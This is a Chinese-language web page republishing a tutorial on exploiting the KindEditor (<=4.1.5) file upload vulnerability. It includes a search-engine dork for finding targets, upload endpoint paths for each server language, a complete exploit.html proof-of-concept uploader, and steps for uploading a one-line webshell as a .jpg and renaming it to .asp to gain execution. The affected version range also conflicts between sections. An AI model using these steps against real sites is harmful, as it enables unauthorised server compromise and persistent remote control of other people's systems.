失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > [应用漏洞]KindEditor<=4.1.5 文件上传漏洞利用

[应用漏洞]KindEditor<=4.1.5 文件上传漏洞利用

时间:2021-05-21 16:04:03

相关推荐

[应用漏洞]KindEditor<=4.1.5 文件上传漏洞利用

一、KindEditor

KindEditor是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果

二、漏洞介绍

影响版本:KindEditor3.5.2~4.1

简介:Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持

Java、.NET、PHP、ASP等程序。

漏洞存在证明:

根本脚本语言自定义不同的上传地址,上传之前有必要验证文件 upload_json.* 的存在

/asp/upload_json.asp//upload_json.ashx/jsp/upload_json.jsp/php/upload_json.php

可目录变量查看是否存在脚本上传漏洞:

kindeditor/asp/upload_json.asp?dir=filekindeditor//upload_json.ashx?dir=filekindeditor/jsp/upload_json.jsp?dir=filekindeditor/php/upload_json.php?dir=file

利用方式1

步骤:

通过搜索引擎找到目标,比如:搜索关键字 inurl:com/kindeditor通过访问/kindeditor/kindeditor.js,查看kindeditor版本是否含有漏洞(<=4.1.5)获得网站使用的开发语言,并确定kindeditor上传文件地址,各种语言上传地址如下:

/asp/upload_json.asp

//upload_json.ashx

/jsp/upload_json.jsp

/php/upload_json.php创建exploit.html页面,编辑内容如下:

<html><head><title>kindeditor exploit</title><script src="http://www./kindeditor/kindeditor.js"></script><script>KindEditor.ready(function(K) {var uploadbutton = K.uploadbutton({button : K('#uploadButton')[0],fieldName : 'imgFile'url : 'http://【url】/kindeditor//upload_json.ashx?dir=file',afterUpload : function(data) {if (data.error === 0) {var url = K.formatUrl(data.url, 'absolute');K('#url').val(url);}},});uploadbutton.fileBox.change(function(e) {uploadbutton.submit();});});</script></head><body><div class="upload"><input type="button" id="uploadButton" value="Upload" /></div></body></html>

该poc上传到服务器后,即可执行上传操作:

利用方式2

打开编辑器,将一句话改名为1.jpg上传图片,

打开文件管理,进入“down”目录,跳至尾页,最后一个图片既是我们上传的一句话

点击改名

打开谷歌浏览器的审查元素

找到form表单

修改“jpg”为“asp”

名字修改为1保存

一句话就生成了,连接地址为

http://Madman.in/upfiles/down/1.asp

如果觉得《[应用漏洞]KindEditor<=4.1.5 文件上传漏洞利用》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。